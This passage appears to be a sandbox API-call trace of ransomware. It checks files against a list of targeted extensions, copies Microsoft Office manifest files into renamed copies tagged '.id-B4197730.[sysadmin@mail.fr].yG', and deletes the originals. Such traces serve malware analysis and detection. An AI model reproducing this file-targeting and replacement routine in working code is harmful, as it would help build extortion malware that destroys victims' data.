	[0050.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.418] lstrlenW (lpString=".1cd") returned 4
	[0050.418] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.418] lstrlenW (lpString=".jpg") returned 4
	[0050.418] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.418] lstrlenW (lpString=".doc") returned 4
	[0050.418] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.418] lstrlenW (lpString=".docx") returned 5
	[0050.418] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.419] lstrlenW (lpString=".pdf") returned 4
	[0050.419] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.419] lstrlenW (lpString=".xls") returned 4
	[0050.419] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.419] lstrlenW (lpString=".xlsx") returned 5
	[0050.419] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.419] lstrlenW (lpString=".ppt") returned 4
	[0050.419] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.419] lstrlenW (lpString=".zip") returned 4
	[0050.419] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.419] lstrlenW (lpString=".rar") returned 4
	[0050.419] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.419] lstrlenW (lpString=".bz2") returned 4
	[0050.419] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.419] lstrlenW (lpString=".7z") returned 3
	[0050.419] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.419] lstrlenW (lpString=".dbf") returned 4
	[0050.419] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.419] lstrlenW (lpString=".1cd") returned 4
	[0050.419] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0050.419] lstrlenW (lpString=".jpg") returned 4
	[0050.419] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.419] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.419] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53
	[0050.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.420] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=357349) returned 1
	[0050.420] CloseHandle (hObject=0x2f4) returned 1
	[0050.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0050.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.420] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.420] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.420] GetLastError () returned 0x0
	[0050.420] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x573e5, lpOverlapped=0x0) returned 1
	[0050.625] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x573f0, lpOverlapped=0x0) returned 1
	[0050.630] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.631] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.631] SetEndOfFile (hFile=0x38c) returned 1
	[0050.631] CloseHandle (hObject=0x38c) returned 1
	[0050.637] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.637] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.640] CloseHandle (hObject=0x2f4) returned 1
	[0050.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1
	[0050.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.641] lstrlenW (lpString=".doc") returned 4
	[0050.641] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.641] lstrlenW (lpString=".docx") returned 5
	[0050.641] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.641] lstrlenW (lpString=".pdf") returned 4
	[0050.641] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.641] lstrlenW (lpString=".xls") returned 4
	[0050.641] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.641] lstrlenW (lpString=".xlsx") returned 5
	[0050.641] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.641] lstrlenW (lpString=".ppt") returned 4
	[0050.641] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.642] lstrlenW (lpString=".zip") returned 4
	[0050.642] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.642] lstrlenW (lpString=".rar") returned 4
	[0050.642] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.642] lstrlenW (lpString=".bz2") returned 4
	[0050.642] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.642] lstrlenW (lpString=".7z") returned 3
	[0050.642] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.642] lstrlenW (lpString=".dbf") returned 4
	[0050.642] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.642] lstrlenW (lpString=".1cd") returned 4
	[0050.642] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.642] lstrlenW (lpString=".jpg") returned 4
	[0050.642] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.642] lstrlenW (lpString=".doc") returned 4
	[0050.642] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.642] lstrlenW (lpString=".docx") returned 5
	[0050.642] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.642] lstrlenW (lpString=".pdf") returned 4
	[0050.642] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.642] lstrlenW (lpString=".xls") returned 4
	[0050.642] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.642] lstrlenW (lpString=".xlsx") returned 5
	[0050.642] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.642] lstrlenW (lpString=".ppt") returned 4
	[0050.642] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.643] lstrlenW (lpString=".zip") returned 4
	[0050.643] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.643] lstrlenW (lpString=".rar") returned 4
	[0050.643] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.643] lstrlenW (lpString=".bz2") returned 4
	[0050.643] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.643] lstrlenW (lpString=".7z") returned 3
	[0050.643] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.643] lstrlenW (lpString=".dbf") returned 4
	[0050.643] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.643] lstrlenW (lpString=".1cd") returned 4
	[0050.643] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0050.643] lstrlenW (lpString=".jpg") returned 4
	[0050.643] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.643] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.643] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53
	[0050.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.834] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0050.834] CloseHandle (hObject=0x2ec) returned 1
	[0050.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.834] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.834] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.834] GetLastError () returned 0x0
	[0050.834] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.836] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.837] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.837] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.837] SetEndOfFile (hFile=0x34c) returned 1
	[0050.837] CloseHandle (hObject=0x34c) returned 1
	[0050.838] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.838] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.838] CloseHandle (hObject=0x2ec) returned 1
	[0050.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.848] lstrlenW (lpString=".doc") returned 4
	[0050.849] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.849] lstrlenW (lpString=".docx") returned 5
	[0050.849] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.849] lstrlenW (lpString=".pdf") returned 4
	[0050.849] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.849] lstrlenW (lpString=".xls") returned 4
	[0050.849] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.849] lstrlenW (lpString=".xlsx") returned 5
	[0050.849] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.849] lstrlenW (lpString=".ppt") returned 4
	[0050.849] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.849] lstrlenW (lpString=".zip") returned 4
	[0050.849] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.849] lstrlenW (lpString=".rar") returned 4
	[0050.849] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.849] lstrlenW (lpString=".bz2") returned 4
	[0050.849] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.849] lstrlenW (lpString=".7z") returned 3
	[0050.849] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.849] lstrlenW (lpString=".dbf") returned 4
	[0050.849] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.849] lstrlenW (lpString=".1cd") returned 4
	[0050.849] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.849] lstrlenW (lpString=".jpg") returned 4
	[0050.849] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.849] lstrlenW (lpString=".doc") returned 4
	[0050.849] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.849] lstrlenW (lpString=".docx") returned 5
	[0050.849] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.850] lstrlenW (lpString=".pdf") returned 4
	[0050.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.850] lstrlenW (lpString=".xls") returned 4
	[0050.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.851] lstrlenW (lpString=".xlsx") returned 5
	[0050.851] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.851] lstrlenW (lpString=".ppt") returned 4
	[0050.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.851] lstrlenW (lpString=".zip") returned 4
	[0050.851] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.851] lstrlenW (lpString=".rar") returned 4
	[0050.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.851] lstrlenW (lpString=".bz2") returned 4
	[0050.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.851] lstrlenW (lpString=".7z") returned 3
	[0050.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.851] lstrlenW (lpString=".dbf") returned 4
	[0050.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.851] lstrlenW (lpString=".1cd") returned 4
	[0050.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0050.851] lstrlenW (lpString=".jpg") returned 4
	[0050.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.851] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.851] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53
	[0050.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.851] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0050.852] CloseHandle (hObject=0x2ec) returned 1
	[0050.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.852] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.852] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.852] GetLastError () returned 0x0
	[0050.852] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.868] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.869] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.869] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.869] SetEndOfFile (hFile=0x34c) returned 1
	[0050.869] CloseHandle (hObject=0x34c) returned 1
	[0050.871] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.871] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.872] CloseHandle (hObject=0x2ec) returned 1
	[0050.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
